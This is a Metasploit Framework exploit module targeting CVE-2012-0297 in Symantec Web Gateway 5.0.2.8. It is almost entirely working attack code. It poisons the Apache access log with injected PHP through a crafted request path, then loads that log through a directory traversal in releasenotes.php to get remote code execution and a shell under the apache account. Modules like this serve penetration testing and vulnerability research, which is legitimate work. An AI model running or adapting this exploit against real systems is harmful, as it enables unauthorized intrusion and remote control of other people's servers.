##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability",
   'Description'    => %q{
     This module exploits a vulnerability found in Symantec Web Gateway's HTTP
    service.  By injecting PHP code in the access log, it is possible to load it
    with a directory traversal flaw, which allows remote code execution under the
    context of 'apache'. Please note that it may take up to several minutes to
    retrieve access_log, which is about the amount of time required to see a shell
    back.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Unknown', #Discovery
     'muts',    #PoC
     'sinn3r'   #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2012-0297'],
     ['EDB', '18932'],
     ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'WfsDelay' => 300,  #5 minutes
     'DisablePayloadHandler' => 'false',
     'ExitFunction' => "none"
    },
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     ['Symantec Web Gateway 5.0.2.8', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "May 17 2012",
   'DefaultTarget'  => 0))
 end

 def check
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => '/spywall/login.php'
  })

  if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  peer = "#{rhost}:#{rport}"

  php = %Q|<?php #{payload.encoded} ?>|

  # Inject PHP to log
  print_status("#{peer} - Injecting PHP to log...")
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => "/#{php}"
  })

  select(nil, nil, nil, 1)

  # Use the directory traversal to load the PHP code
  # access_log takes a long time to retrieve
  print_status("#{peer} - Loading PHP code..")
  send_request_raw({
   'method' => 'GET',
   'uri'    => '/spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log'
  })

  print_status("#{peer} - Waiting for a session, may take some time...")

  select(nil, nil, nil, 1)

  handler
 end
end